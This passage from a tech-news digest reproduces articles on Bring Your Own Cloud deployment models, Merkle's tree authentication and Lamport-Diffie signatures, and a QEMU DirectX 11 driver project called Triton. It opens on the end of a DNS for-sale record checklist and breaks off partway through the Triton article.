  • The answer begins with v=FORSALE1; and contains at most one tag=value pair per string.
  • The TTL is 3600 or lower: dig TXT _for-sale.example.com | grep _for-sale.
  • If the zone is signed, dig +dnssec TXT _for-sale.example.com returns a validating RRSIG.
  • The record resolves at all. During a redemption or pendingDelete period, or when DNSSEC validation is bogus, the name will not resolve and the signal silently disappears.

Sources & further reading

The Daily Front Page 14 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — Clouds on Your Terms
article

BYOC Anywhere: The Spectrum of Bring Your Own Cloud Deployments

by kkgupta·▲ 70 points·11 comments·omnistrate.com ↗
The customer keeps the workload, data, network controls, audit logs, and often billing inside their own cloud estate.

In the classic SaaS model, the vendor hosts the application, data plane, infrastructure, networking, and operations in its own cloud account. In BYOC (Bring Your Own Cloud), that boundary shifts: the customer keeps the workload, data, network controls, audit logs, and often billing inside their own cloud estate, while the vendor still provides a managed product experience. That definition is a good start, but it is incomplete.

In practice, BYOC does not always mean "give the vendor a fresh cloud account and let them deploy."

Enterprises, regulated organizations, AI infrastructure teams, and platform engineering groups all have different constraints. Some can provide a dedicated account. Some require deployment into an existing VPC. Some only allow workloads onto approved Kubernetes clusters. Some cannot allow any internet connectivity at all.

That is why BYOC is better understood as a spectrum of deployment and operating models.

The deeper point: BYOC Anywhere is not just infrastructure placement. It is the ability to deliver, secure, operate, meter, upgrade, observe, and govern software across many customer-controlled environments.

Why customers need different BYOC flavors

Customers ask for BYOC for different reasons, and those reasons often compound.

Some want data residency and sovereignty: data must stay in a specific region, account, cloud, or jurisdiction. Others want security control: private networking, customer-owned keys, audit logs, no vendor access to raw data, and policy enforcement through their own identity and governance systems.

Some buyers care about commercial alignment. They already have committed cloud spend, reserved capacity, GPU reservations, or internal chargeback models. Running software in their own account helps them use those commitments instead of paying twice.

For AI and data-heavy workloads, the reason is often data gravity. Moving large volumes of logs, embeddings, model outputs, files, or telemetry into a vendor SaaS environment can be expensive, slow, or prohibited. BYOC keeps compute closer to the data.

Platform teams may also require standardization. They already run approved VPC patterns, Kubernetes clusters, service meshes, secrets managers, CI/CD systems, observability stacks, and supply-chain scanning. A vendor that cannot fit into those patterns creates operational friction.

Finally, regulated environments may require disconnected or air-gapped delivery, where software updates, container images, licenses, and telemetry cannot assume live internet access. Air-gapped environments require offline update workflows, mirrored repositories, and controlled artifact transfer processes. (Ubuntu's air-gapped system documentation)

The four main BYOC variants

1. BYOC-Account (Bring your own Cloud Account)

A horizontal workflow diagram showing the step-by-step sequence of a BYOC-Account deployment: the customer creates a dedicated cloud account, approves scoped IAM roles, the vendor deploys the data plane, and the service runs directly inside the customer's cloud boundary.

Figure 1: A standard BYOC-Account deployment model.

BYOC-Account is the most common mental model. The customer creates a dedicated cloud account, project, or subscription. The vendor deploys its data plane into that environment, usually through scoped IAM roles and deploying an agent that automates the rest (or manually through a bunch of Terraform, CloudFormation, one-off installers/scripts).

From the customer's perspective, this model feels like:

  1. Create account
  2. Approve IAM role
  3. Vendor deploys
  4. Service runs in customer cloud

This flavor works well when the customer wants clean isolation without forcing the vendor into every detail of their existing network. The customer owns the account boundary, billing, cloud logs, region choice, and many policy controls. The vendor owns the product lifecycle: deployment, scaling, health checks, upgrades, and support.

BYOC-Account is often the right starting point because it creates a strong separation of concerns. But it is not enough for customers with strict networking, routing, private endpoint, or internal platform requirements.

2. BYOC-VPC (Bring your own VPC)

A conceptual flow diagram detailing a BYOC-VPC deployment sequence: the customer provides the VPC and subnets, configures and approves private routes, security groups, and endpoints, allowing the vendor to deploy the software inside a completely private network boundary.

Figure 2: A secure BYOC-VPC deployment with a customer-approved network boundary.

BYOC-VPC goes one level deeper: the software must run inside a customer-approved network boundary. Instead of simply deploying into a fresh account, the vendor must integrate with an existing VPC, VNet, subnet layout, routing model, DNS setup, firewall policy, private endpoints, and egress controls.

From the customer's perspective, this model feels like:

  1. Provide VPC / subnets
  2. Approve routes, endpoints, and security groups
  3. Deploy privately

This is important when customers require:

  • No public endpoints.
  • Private connectivity to internal systems.
  • Egress allowlists.
  • PrivateLink-style connectivity.
  • Centralized firewall inspection.
  • Internal DNS and certificate policies.
  • Existing network segmentation.

For example, private connectivity services such as AWS PrivateLink are designed to let customers connect privately to services without requiring public IPs, internet gateways, NAT devices, or public routing paths. (AWS PrivateLink)

BYOC-VPC is more demanding than BYOC-Account because the deployment has to respect the customer's network architecture across clouds. The vendor cannot assume open outbound internet, default DNS, permissive security groups, or vendor-managed ingress.

3. BYOC-K8s (Bring your own Kubernetes)

A platform engineering workflow diagram for BYOC-Kubernetes (BYOC-K8s) deployments: the customer provisions a managed Kubernetes cluster, installs Helm charts or operators, connects the license/control plane, and runs containerized workloads under internal platform standards.

Figure 3: A standardized BYOC-K8s deployment within a customer-managed Kubernetes runtime.

BYOC-K8s means the customer provides the Kubernetes runtime. The vendor deploys into a customer-managed Kubernetes cluster, often through Helm charts, operators, controllers, CRDs, namespaces, service accounts, and container images.

From the customer's perspective, this model feels like:

  1. Provide cluster
  2. Install Helm / operator
  3. Connect license / control plane
  4. Operate workloads

This flavor is common when customers already standardize around Kubernetes across clouds, on-prem, edge, or GPU infrastructure. Kubernetes is explicitly designed as a portable, extensible platform for managing containerized workloads and services, which makes it a natural abstraction layer for multi-environment delivery. (Kubernetes for multi-environment delivery)

BYOC-K8s gives platform teams more control. They can enforce their own admission policies, image scanners, secrets management, storage classes, ingress controllers, service mesh rules, node pools, GPU scheduling, and observability integrations.

But it also changes the responsibility model. The vendor no longer controls the full substrate. Cluster version, CNI behavior, storage drivers, node autoscaling, resource quotas, pod security settings, and image registry access can vary widely. The vendor also does not provision the underlying infrastructure, so infra provisioning, sizing, upgrades, and troubleshooting often require coordination with the customer's platform team. This is especially challenging in traditional on-premises environments, where hardware, networking, and storage abstractions vary significantly.

4. Air-gapped Software Distribution

A sequence diagram demonstrating disconnected software delivery: receiving secure signed artifacts, verifying the supply chain via scanning and approvals, importing artifacts into an offline repository, and executing local installations or upgrades without internet access.

Figure 4: A highly secure air-gapped deployment with customer-controlled offline distribution.

Air-gapped is not exactly BYOC, but it is a natural extension of the same customer-controlled delivery spectrum. In this model, the software runs in an environment with no direct internet connectivity, often for defense, public sector, critical infrastructure, financial services, healthcare, or sovereignty reasons.

From the customer's perspective, this model feels like:

  1. Receive signed artifacts
  2. Scan / approve (supply chain)
  3. Import offline
  4. Install / upgrade locally

Air-gapped delivery requires a different operating model. The vendor cannot assume live telemetry, remote debugging, online license checks, automatic image pulls, hosted package repositories, or continuous control-plane access. Updates, patches, container images, dependency repositories, and documentation often need to be mirrored or transferred into the environment through controlled processes. (Highly secure, air-gapped Ubuntu architectures)

This is where the BYOC idea reaches its hardest form: the customer owns not only the infrastructure boundary, but also the connectivity boundary, update boundary, support boundary, and operational evidence boundary.

How each flavor maps to customer needs

Customer need Best-fit BYOC flavor Why it helps
Use committed cloud spend BYOC-Account Workloads run under customer billing.
Minimize vendor access BYOC-Account / VPC Requires scoped permissions, auditability, governance and zero-trust controls.
Keep data in customer-controlled cloud BYOC-Account / VPC Dataplane stays inside the customer boundary.
Integrate with customer supply chain BYOC-Account / VPC Enables image scanning, artifact signing, private registries, and approvals.
Enforce private networking BYOC-VPC Supports private routes, endpoints, DNS, e2e encryption and egress controls.
Reuse internal platform standards BYOC-K8s Runs on approved clusters, policies, and tooling.
Support on-prem or edge BYOC-K8s / Air-gapped Kubernetes or offline bundles can span non-cloud environments.
Meet strict sovereignty or classified requirements Air-gapped Removes dependency on live external connectivity.

The Security Challenge: BYOC must be secure by design

A serious BYOC platform has to implement more than deployment automation. It has to deliver the security posture enterprises expect from modern infrastructure.

That includes:

Least-privilege permissions. The vendor should receive only the permissions required to install, operate, update, and observe the product. Permissions should be scoped by account, project, namespace, resource type, and lifecycle phase.

End-to-end encryption. Data should be encrypted in transit and at rest, with clear support for customer-managed keys where required.

Zero-inbound access. Many customers will not allow inbound access from a vendor network. The safer pattern is often an outbound-only agent or runner initiated from the customer environment.

Egress allowlists. Customers need to know exactly which domains, APIs, package repositories, control-plane endpoints, and telemetry destinations the product requires.

Private connectivity. Some environments require private link, private service connect, VPC endpoints, peering, VPN, or dedicated network paths instead of public internet access.

Customer supply-chain integration. Container images, packages, Terraform modules, Helm charts, SBOMs, signatures, attestations, vulnerability scans, and provenance metadata need to fit into customer approval workflows.

Governance and auditability. Customers need logs, evidence, change history, access records, policy mappings, clear ownership boundaries, and governance controls to control the access levels.

This aligns with the broader zero-trust principle that no user, device, workload, or network location should receive implicit trust simply because it sits inside a perimeter. NIST describes zero trust as a shift away from static network-based trust toward resource-level access decisions. (NIST's SP 800-207 Zero Trust Architecture)

For a deeper dive into the security requirements, I'd recommend reading BYOC Anywhere, which lays out the "10 Commandments" for operating software in customer environments you don't own.

The Portability Challenge: Running Across Every Customer Environment

The next challenge is environmental diversity.

A narrow BYOC product might work only in AWS, only in a fresh account, only with public egress, only in one region, and only with vendor-managed Terraform. That may be enough for early deals, but it is not enterprise-ready and will not scale.

BYOC has to work across:

  • Major clouds: AWS, Azure, Google Cloud.
  • Sovereign cloud regions.
  • Neocloud and GPU cloud providers.
  • Customer-managed Kubernetes.
  • OpenShift and enterprise Kubernetes distributions.
  • On-prem data centers.
  • Edge environments.
  • Internet-restricted and air-gapped networks.

Each environment changes the assumptions. Identity, networking, storage, load balancing, DNS, secrets, GPUs, logging, metrics, security scanning, and upgrade workflows all differ. The product architecture has to isolate those differences behind a consistent delivery model.

The mistake is assuming BYOC is a cloud-specific problem. It is really a portability problem across different clouds, neoclouds, and on-prem environments. Building and maintaining consistent IaC across multiple environments is a huge challenge in itself. The interesting thing is that even that is not enough, and that brings us to the next challenge.

The Operations Challenge: Delivering a Managed Service After Deployment

The hardest part of BYOC is not day one. It is day two. A real BYOC platform must handle the full lifecycle:

  1. Provision
  2. Deploy
  3. Configure
  4. Govern
  5. Upgrade
  6. Meter
  7. Observe
  8. Operate

That means solving:

Infrastructure provisioning and management. Having consistent IaC across multiple environments to unify infrastructure including accounts, networks, IAM roles, subnets, clusters, storage, DNS, certificates, and secrets is one thing. But infrastructure management has to be tenant-aware, transaction-safe across different workflows, and AI-enabled. Unfortunately, tools like Terraform fall short on all these dimensions and require a BYOC control plane to deal with these problems.

Customer-managed deployments. Subscribe, deploy, customize, configure, visualize, and notify.

Governance controls. Clear break-glass procedures, approval workflows, audit trails, RBAC, SSO, enterprise IdP integration, secrets, customer networks, tenant isolation, and customer-controlled access.

Upgrades and patches. Safe rollouts, versioned releases, rollback, dependency management, configuration drift, approvals, pipelines, and emergency fixes.

Metering and billing. Usage collection, aggregation, billing, invoicing, analytics, and integration with payment processors like Stripe and cloud marketplaces.

Licensing. Online activation for connected environments; signed offline licenses for disconnected ones.

Observability. Health, logs, metrics, traces, alerts, SLOs, and support bundles that do not leak customer data.

Day-2 automation. Backups, restores, snapshots, alerting, recommendations, scaling, certificate rotation, secret rotation, failover, diagnostics, policy checks, and compliance evidence.

Cloud providers describe security and operations as shared responsibilities, where the exact boundary depends on the services used and how customers configure them. BYOC introduces a similar shared responsibility model between the software vendor and the customer: the customer owns the environment, while the vendor must still deliver a managed product experience. (AWS's shared responsibility model)

BYOC is a Product Architecture, Not a Deployment Script

The simplest BYOC demo may look easy: connect to a customer account, run Terraform, deploy containers, and show a working service. Production BYOC is a completely different ballgame.

It requires a control plane that can manage many isolated customer environments without overreaching. It requires runners or agents that can operate with minimal permissions. It requires repeatable infrastructure definitions, secure artifact delivery, environment discovery, policy enforcement, observability, upgrade orchestration, and support workflows.

The other misconception is that BYOC is often described too narrowly. It is not just "bring a fresh account." That is only one flavor.

There is BYOC-Account for clean cloud ownership.
There is BYOC-VPC for private network integration.
There is BYOC-K8s for platform-standardized runtime delivery.
There is Air-gapped delivery for disconnected and highly regulated environments.

And across all of these models, vendors still need to solve zero-trust security, multi-environment portability, supply-chain integration, lifecycle automation, metering, licensing, observability, governance, and day-2 operations.

The real promise of BYOC Anywhere is not that software can be installed somewhere else. It is that customers can keep control of their infrastructure, data, network, and compliance posture while still getting a managed product experience.

That is a much larger architectural undertaking than a basic "connect the account and deploy" script. It is the next evolution of enterprise software delivery.

The Daily Front Page 15 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — The Root of Trust
article

From One Seed to a Thousand Leaves – Merkle's Authentication Tree

by denismenace·▲ 48 points·3 comments·0xkrt26.github.io ↗
Merkle trees are just about everywhere.

An implementation of a small Merkle Tree can be found in my GitHub Repository.

The Great Seal of Realm - the sign of a royal approval. For centuries, Kings and Queens, Emperors and Empresses, Ladies and Lords used seals to leave their family names on the important documents. But what was left for us, ordinary commoners? Simple autographs were our low budget seals. Their uniqueness comes from a combination of pen pressure, speed and rhythm, letter slant, and spacing.

But the world is evolving. We can hardly imagine navigating modern life without computer, mobile phone, or internet. And the problem with ordinary autographs in this setting is that they can be easily copy-pasted from one document to another just like a fancy sticker. It is very helpful when you don’t want to print the document, only to sign it and then scan it again, since we all know the struggle of drawing with a touchpad or a computer mouse (at least I always get some weird doodles instead of a signature). But unfortunately, if you can copy-paste it, then anyone else can do the same. And I bet it won’t feel very nice if one morning you wake up and all your stocks and investments are gone because someone forged your autograph on a gift deed, will it?

But no worries. Already in 1979 Ralph Charles Merkle came up with an idea of a digital signature, which he described in his PhD thesis “Secrecy, Authentication, and Public Key Systems”. Though to be accurate, the idea of a digital signature was not his. He improved an already existing Lamport-Diffie one-time signature, which, in turn, was an improved version of Rabin’s signature, as Leslie Lamport mentions himself in the description to his report paper on the Microsoft research forum.

So what is that Lamport-Diffie one-time signature?

Merkle explains it with a very nice and clear example. Imagine two people: Alice, who has a stock, and Bob - a broker. Alice wants to sell her stock, but Bob can accept neither a phone call nor a message as a confirmation (since it’s so easy to deepfake someone’s voice nowadays). So they remember that when Alice bought this stock she computed $F(x)=y$ using a one-way function (some examples of such functions can be found in the previous post) and sent it to Bob. They even signed a contract that contained $F$ and $y$, but not $x$, and agreed that if Alice wants to sell her share, she’ll reveal her $x$ to Bob.

Note that $F$ is a one-way function, therefore irreversible, which means there is no other way for Bob to get $x$ unless Alice reveals it to him. This is why we can claim that the 1-bit message that Alice sends is authenticated.

And what if Alice wants to send a longer message?

Rarely does someone want to sell the entire stock at once. Much more often, people sell a certain number of shares. For example, Alice wants to sell 11 shares. For her to do that, the buying contract has to look a bit different.

Alice would have had to choose $j$ private keys $x$:

\[\begin{matrix} x_1 \\ x_2 \\ x_3 \\ \vdots \\ x_j \end{matrix}\]

and compute $y_j = F(x_j)$ for each $j$. These $j$ public key values she then shares with Bob as a public key vector $Y_i$.

The value $j$ is a fixed number representing the bit length of the message that Alice can sign. For our example, we will use $j=100$.

So some time later, Alice wants to send a message $m$: “Sell 11 shares”.

First, she needs a binary representation of her message:

01010011 01100101 01101100 01101100 00100000 00110001 00110001 00100000 01110011 01101000 01100001 01110010 01100101 01110011

The length of this message is 112 bits, but since $j=100$, she has only 100 precomputed keys and therefore can sign only 100 bits.

Does it mean she has to make her message shorter?

Of course not. Instead we just use another one-way function to map all 112 bits to 100 bits. And if the message was too short, we would extend it with zeroes until it had exactly 100 bits.

So for each bit out of 100, she has a private key $x_j$ and a public key $y_j$. To sign her message $m$, she sends Bob all the $x_j$ for all the bits that equal 1 in her message. So in our example for the letter s she sends:

\[\begin{array}{l} \texttt{01010011} \\[1ex] x_2 \\ x_4 \\ x_7 \\ x_8 \end{array}\]

For the next letter e, she reveals:

\[\begin{array}{l} \texttt{01100101} \\[1ex] x_2 \\ x_3 \\ x_6 \\ x_8 \end{array}\]

…and so on. This way, Alice signs every bit of her message.

So the message is secured?

Actually, not completely. There is a way for Bob to alter the message. He can just pretend he never got one of the private keys $x_j$ from Alice, therefore changing 1 in the message to 0. This way he can say that instead of 11 shares:

00110001 00110001

Alice asked him to sell only 10 shares:

00110001 00110000

To avoid this, Lamport and Diffie suggest appending $m’$ - a complement of $m$ - to the end of the message. This way, if Bob wants to change 11 shares to 10 shares, he would have to reveal $x_j$ that corresponds to 1 in the complement $m’$ (the very last bit of the forged message in the following example), which he can’t do as Alice never sent him that private key.

Example:

Original mm' = 00110001 00110001 11001110 11001110
Forged   mm' = 00110001 00110000 11001110 11001111

Everything seems to be working well now. But the problem is, such one-time signature requires too much storage space. So Ralph Merkle decided to improve the algorithm and suggested another way to sign messages.

How does Merkle improve the Lamport-Diffie one-time signature?

Merkle’s first solution was to reduce the actual length of the protected message. So Lamport suggested using the complement $m’$ of $m$ to protect Bob from altering the signature, right? That was a good idea, but it also made the message twice as long as it was.

To save some storage space, Merkle adds the count of 0s to the end of the message $m$. For that he would need only $\lceil \log_2 j \rceil$ (or in our example $\lceil \log_2 100 \rceil = 7$) additional bits, which is significantly less than in Lamport’s idea.

Why $\log_2$?

The count of zeroes is stored as a binary number. For a 100-bit message, the count can be at most 100, and 100 sits between $2^6=64$ and $2^7=128$, so we need 7 bits to store it.

Can we store the number of 1s instead of 0s?

No, since that won’t protect the signature from being altered.

You see, Bob can only change 1s to 0s, not the other way around. For changing 0 to 1, he would need a private key that he never got.

Let’s look at an example. We will have an 8-bit instead of a 100-bit message with five 0s:

10001100 101
^         ^
m         count of 0s

Now Bob wants to forge the message by changing one bit from 1 to 0. The message now has six 0s:

10001000 110
^         ^
m         count of 0s

As you can see, changing 1 to 0 in one part means also changing 0 to 1 in the count field, which Bob can’t do.

Now if instead of 0s, we were appending the number of 1s:

10001100 11
^         ^
m         count of 1s

Bob would be able to forge it without any problem by just changing 1s to 0s in both parts:

10001000 10

But do we have to store all those public keys that take up so much space?

Of course (if we use the Lamport-Diffie one-time signature). Otherwise, how would Bob know it’s Alice who is sending him the keys? What if it was an enemy of Alice, Eva, who created all the public and private keys right before signing her evil message “Gift all my stocks to Eva. Alice” and sending it to Bob? It can only be fixed with some sort of prior arrangement. But as we can imagine, storing all those public keys takes a lot of Bob’s storage. So Merkle came up with another solution called “tree authentication”.

How does tree authentication work?

The whole construction looks like a binary tree. The leaves are the $Y_i$ values (the public keys calculated using the Lamport-Diffie method). The inner nodes and the root are computed inductively using another one-way function $H$. We start from the leaves with:

\[H(i, i, Y) = F(Y_i)\]

and go up to the root using:

\[H(i, j, Y) = F\!\left( H\!\left(i,\, \frac{i+j}{2},\, Y\right),\; H\!\left(\frac{i+j}{2} + 1,\, j,\, Y\right) \right)\]

This might seem complicated at first, but let’s look at an example and try to understand how exactly the signing process works.

Example:

Let’s assume Alice wants to be able to send eight signed messages to Bob. First she computes 8 vectors $Y_1, Y_2, \ldots, Y_8$ using Lamport-Diffie signature. Then Alice calculates the leaf nodes:

\[\begin{aligned} H(1, 1, Y_1) &= F(Y_1) \\ H(2, 2, Y_2) &= F(Y_2) \\ &\;\;\vdots \\ H(8, 8, Y_8) &= F(Y_8) \end{aligned}\]

Then she takes pairs of leaf nodes and creates inner nodes:

\[\begin{aligned} H(1, 2, Y_{1,2}) &= F\!\big( H(1, 1, Y_1),\; H(2, 2, Y_2) \big) \\ H(3, 4, Y_{3,4}) &= F\!\big( H(3, 3, Y_3),\; H(4, 4, Y_4) \big) \\ H(5, 6, Y_{5,6}) &= F\!\big( H(5, 5, Y_5),\; H(6, 6, Y_6) \big) \\ H(7, 8, Y_{7,8}) &= F\!\big( H(7, 7, Y_7),\; H(8, 8, Y_8) \big) \end{aligned}\]

Then pairs the new nodes again:

\[\begin{aligned} H(1, 4, Y_{1,4}) &= F\!\big( H(1, 2, Y_{1,2}),\; H(3, 4, Y_{3,4}) \big) \\ H(5, 8, Y_{5,8}) &= F\!\big( H(5, 6, Y_{5,6}),\; H(7, 8, Y_{7,8}) \big) \end{aligned}\]

And one more time:

\[H(1, 8, Y_{1,8}) = F\!\big( H(1, 4, Y_{1,4}),\; H(5, 8, Y_{5,8}) \big)\]

The value $H(1, 8, Y_{1,8})$ that Alice gets is a root value $R$. This is the only value that Bob and Alice have to agree upon before signing any messages and therefore the only public key that Bob needs to store.

How does Alice actually sign the message?

Let’s imagine in the form of a dialogue between Alice and Bob how exactly the first message $m_1$ out of eight available messages is signed.

Alice:

\[H(5, 8, Y_{5,8})\] \[H(1, 4, Y_{1,4})\]

Bob: (takes $H(1, 8, Y_{1,8}) = R$ from the contract)

\[H(1, 8, Y_{1,8}) = F\!\big( H(1, 4, Y_{1,4}),\; H(5, 8, Y_{5,8}) \big)\;?\]

If yes, proceed.

Alice:

\[H(1, 2, Y_{1,2})\] \[H(3, 4, Y_{3,4})\]

Bob:

\[H(1, 4, Y_{1,4}) = F\!\big( H(1, 2, Y_{1,2}),\; H(3, 4, Y_{3,4}) \big)\;?\]

If yes, proceed.

Alice:

\[H(1, 1, Y_1)\] \[H(2, 2, Y_2)\]

Bob:

\[H(1, 2, Y_{1,2}) = F\!\big( H(1, 1, Y_1),\; H(2, 2, Y_2) \big)\;?\]

If yes, proceed.

Alice:

\[Y_1\]

Bob:

\[F(Y_1) = H(1, 1, Y_1)\;?\]

If yes, then the message is indeed from Alice, and the private keys can be revealed according to the Lamport-Diffie method.

After Alice uses all 8 available signatures, the root value $R$ has to be changed, and the binary tree has to be computed once again.

Does tree authentication really solve the problem of excessive storage?

Sure. Let’s calculate.

In our example of the Lamport-Diffie one-time signature, both hash functions used while compressing and signing produce 100-bit outputs.

\[\begin{aligned} 2 \cdot j \cdot s &= 2 \cdot 100 \cdot 100 = 20{,}000 \text{ bits} \\[1ex] \text{where:}\quad 2j &= \text{total keys per message } (j \text{ private keys } x_j \text{ and } j \text{ public keys } y_j) \\ s &= \text{length of one key (100 bits)} \end{aligned}\]

Now if Bob receives not just one but 1000 messages from Alice, the amount of storage needed to store all the public keys would be:

\[20{,}000 \times 1000 = 20{,}000{,}000 \text{ bits} = 2.5 \text{ MB}\]

And if Bob has other clients (let’s say 1000), then the storage space needed will be about 2.5 GB.

Of course, it is possible to store this amount of data, but what if the number of users and/or messages is even bigger?

Now with Merkle’s improvement, Bob only stores the root value $R$, which, just like all other values here, is a fixed-length 100-bit value.

2.5 GB vs 100 bits. The difference is huge, isn’t it?

But Alice still has to store all those authentication paths, doesn’t she?

Not exactly. Let’s look at the authentication paths for the tree from our example:

\[\begin{aligned} Y_1 &: H(2,2),\; H(3,4),\; H(5,8),\; H(1,8) \\ Y_2 &: H(1,1),\; H(3,4),\; H(5,8),\; H(1,8) \\ Y_3 &: H(4,4),\; H(1,2),\; H(5,8),\; H(1,8) \\ Y_4 &: H(3,3),\; H(1,2),\; H(5,8),\; H(1,8) \\ Y_5 &: H(6,6),\; H(7,8),\; H(1,4),\; H(1,8) \\ Y_6 &: H(5,5),\; H(7,8),\; H(1,4),\; H(1,8) \\ Y_7 &: H(8,8),\; H(5,6),\; H(1,4),\; H(1,8) \\ Y_8 &: H(7,7),\; H(5,6),\; H(1,4),\; H(1,8) \end{aligned}\]

You notice something interesting? If no, look at this modified version:

\[\begin{aligned} Y_1 &: H(2,2),\; H(3,4),\; H(5,8),\; H(1,8) \\ Y_2 &: H(1,1) \\ Y_3 &: H(4,4),\; H(1,2) \\ Y_4 &: H(3,3) \\ Y_5 &: H(6,6),\; H(7,8),\; H(1,4) \\ Y_6 &: H(5,5) \\ Y_7 &: H(8,8),\; H(5,6) \\ Y_8 &: H(7,7) \end{aligned}\]

That’s the table after we deleted all the duplicates. Already so much less to store, isn’t it?

Moreover, the modified version is just the Merkle tree itself but with flipped inner nodes. Just compare the authentication paths with the tree diagram above.

The inner nodes in the authentication paths are the siblings, not the nodes on the direct path to the root. This is because both functions $F$ and $H$ are known to Bob, so from $Y_1$ he can easily compute $H(1,1)$, but he needs $H(2,2)$ from Alice to compute and therefore authenticate $H(1,2)$.

What’s even better is that there’s no need for Alice to store most of the values till the next root change. She can delete the nodes that are not going to be used for authentication again. For example, after signing messages $m_1$, $m_2$, and $m_3$, she can delete four inner nodes $H(1,1)$, $H(2,2)$, $H(3,4)$, and $H(4,4)$.

But Alice probably has to store all the unused private keys $X_i$ and public keys $Y_i$ anyway, right?

Nope. For this, Merkle also found a solution.

All Alice needs to store is a single 200-bit seedkey — 200 bits of random once-generated data. With just this seedkey, she would be able to restore all the eight 10700-bit-long private key vectors $X_1$ to $X_8$. For that to work, instead of choosing $8 \times 107$ random values for her private keys $x_j$ in the very beginning, Alice chooses just this one secret seedkey 200 bits long and generates:

\[x_{i,j} = C(\text{seedkey},\; \langle i,\, j \rangle)\]

Here private key $x$ has two indexes $i$ and $j$. $i$ shows the message number, and $j$ indicates the position of the bit in the message.

$C$ stands for cipher and performs as an encryption function. I will write about ciphers and encryption in much more detail once I finish covering the history of hashing. For now, imagine it as a generator of numbers that might look random but are actually determined through a special publicly known algorithm.

Note that without the seedkey it is impossible to generate any of the $x_{i,j}$ values. This means that only Alice can produce valid private keys for her messages.

So since Alice can restore all the private keys from just a 200-bit seedkey, why store $Y_i$, when, as we know, those can also be easily computed through $F(x)$? Merkle calculated that computing all the keys from a seedkey doesn’t take too much time and energy compared to the amount of storage we would need to keep all those keys. Today the time for such computation is even less, so it is definitely worth it.

Does it mean Merkle’s authentication tree is still used today?

It is. In fact, the Merkle tree is a fundamental part of blockchain. Just instead of messages, leaf nodes contain hashes of transactions.

Let’s quickly take a look at what a blockchain is. The name speaks for itself: it’s a chain of blocks. Each block contains a connection to the previous block and a Merkle tree with thousands of transactions as its leaves.

The most common example of a blockchain would be Bitcoin. The paper “Bitcoin: A Peer-to-Peer Electronic Cash System” explicitly names the Merkle tree as a solution for Simplified Payment Verification. This means if you are buying Bitcoin but first want to make sure it’s not a fraud, you can verify a single transaction without downloading the entire blockchain. All you need is the relevant authentication path — exactly what Bob needed to verify a single message without storing the entire tree.

Now you may wonder, how is this whole construction relevant to the history of hashes we’re currently covering? The thing is, those one-way functions $H$ and $F$ are hash functions. So each node of the Merkle tree basically stores a hash of some value. This proves that hash functions can not only protect your passwords but also authenticate huge constructions without overwhelming your storage or costing a fortune, making the Merkle tree one of the important steps in cryptography.

My sources and further readings:

Ralph Charles Merkle’s PhD thesis “Secrecy, Authentication, and Public Key Systems”
“Constructing Digital Signatures from a One Way Function” by Leslie Lamport
“Bitcoin: A Peer-to-Peer Electronic Cash System”

The Daily Front Page 16 of 27
Saturday, August 8, 2026 The Daily Front No. #260808 — Virtual Graphics, Real Games
article

Triton: DirectX 11 Driver for QEMU

by electricant·▲ 158 points·30 comments·blog.getutm.app ↗
You can now play modern Windows games in QEMU.

You can now play modern Windows games in QEMU

Screenshot of game running on QEMU on macOS host

Crash Bandicoot Trilogy (x64) running on Windows 11 ARM64 virtualized on macOS through QEMU

What is Triton?

You might be wondering: if Neptune can serialize Direct3D API calls and Windows uses Direct3D, then aren’t we already done? If Direct3D works in Wine, it should also work in Windows, right? After all, what is Wine, if not a Windows emulator? The short answer is: you sort of can. The Neptune Mesa drivers build a d3d11.dll and dxgi.dll which fully implements the Direct3D API set and so if you just put those files next to the game’s executable, it should load them instead of Windows’ own drivers and you can get some games to run that way. This is also the approach done by previous attempts which used DXVK→Vulkan→Venus to run Direct3D locally inside an application. There are a few disadvantages to this approach. First and most importantly, you cannot get good performance because the window compositor (DWM) “sees” your frame as an image so it needs to use CPU blitting to copy the GPU image buffer to the correct window location. You might be able to do some tricks for full-screen applications to scanout natively but you will never get a smooth desktop experience. Second, because d3d11.dll and dxgi.dll are core components of Windows, you cannot replace the system files themselves and expect Windows to still work. Even if you do manage to get it to work, you will not be able to play many games with anti-cheats which specifically detect this kind of modification. That is why it is only possible to get the DLL to load on a per-application basis (and compatibility varies). Which brings us to the last point: needing to copy files to every application you want working graphics acceleration is not a user friendly experience. The correct approach is not to implement the DirectX APIs but to implement the DirectX DDIs (Device Driver Interface).

If you want a full play by play of the entire development process, check out this companion post.

DDI

In Windows, the application communicates with the system Direct3D and DXGI libraries. The d3d11.dll (as well as older versions) do the complicated work of state tracking and send a more sanitized stream of commands to the user-mode driver (UMD) which implements the DDI. The application also talks to dxgi.dll to initialize the graphics adapters, set up the swapchain, etc. The UMD also goes through the DXGI to talk with the kernel-mode driver (KMD). The KMD is implemented by the graphics vendor (us) to drive the actual hardware (or in our case the virtual hardware). For Wine, we implemented a custom d3d11.dll and dxgi.dll to intercept the API calls and now for Windows, we need to instead implement the UMD and KMD.

So that’s the challenge: implement the UMD with the DirectX DDI interface and also set up a private interface with the KMD which communicates with the VirtIO device.

Lucky for us, the second part has already been solved. Both anonymix007 and arehnman had independently been working on a KMD for Venus (Vulkan). Since Vulkan is a completely independent graphics API, it does not need to implement the DirectX DDI and its UMD is similar to the “replace d3d11.dll” approach in that it talks directly with the KMD to drive commands to QEMU. Since Neptune is modelled after Venus, the high level kernel interfaces (for DMA, command buffers, etc) is very similar and the interface between UMD and KMD is exactly the same. Ultimately, we chose to use anonymix007’s branch as the base because their implementation had more features working on the KMD side.

That leaves us with the hard part. We have to implement the DDI for DirectX 11. When you are designing a new system, it is always wise to understand how others who have come before have solved similar problems. Unfortunately, there are not many open source DDI implementations to draw inspiration from. Windows graphics drivers is a very niche subject and most of the experts work in one of the handful of graphics hardware vendors. This is one of the reasons that QEMU has never got far with Windows GPU acceleration.

Fortunately for us, there are two working open source implementation that we can learn from. First, Mesa has a DirectX 10 UMD. If you did not read the last article, the short version is that Mesa implements OpenGL for Linux. Mesa performs state tracking for OpenGL and emits Gallium API calls. The Mesa DirectX 10 UMD is an alternative to OpenGL that emits the same Gallium API calls. Then the Gallium backend driver (AMD, Intel, VirGL, etc) converts them into native graphics driver APIs. The upstream Mesa only supports the software rasterization backend for DirectX 10 but there was some recent work to get it working with VirGL. Unfortunately, the macOS virglrenderer lacks support for many of the features that this UMD requires so it is not a viable way to get graphics acceleration for macOS hosts. However, the integration with the Mesa codebase provides us with a clean example for integrating Triton.

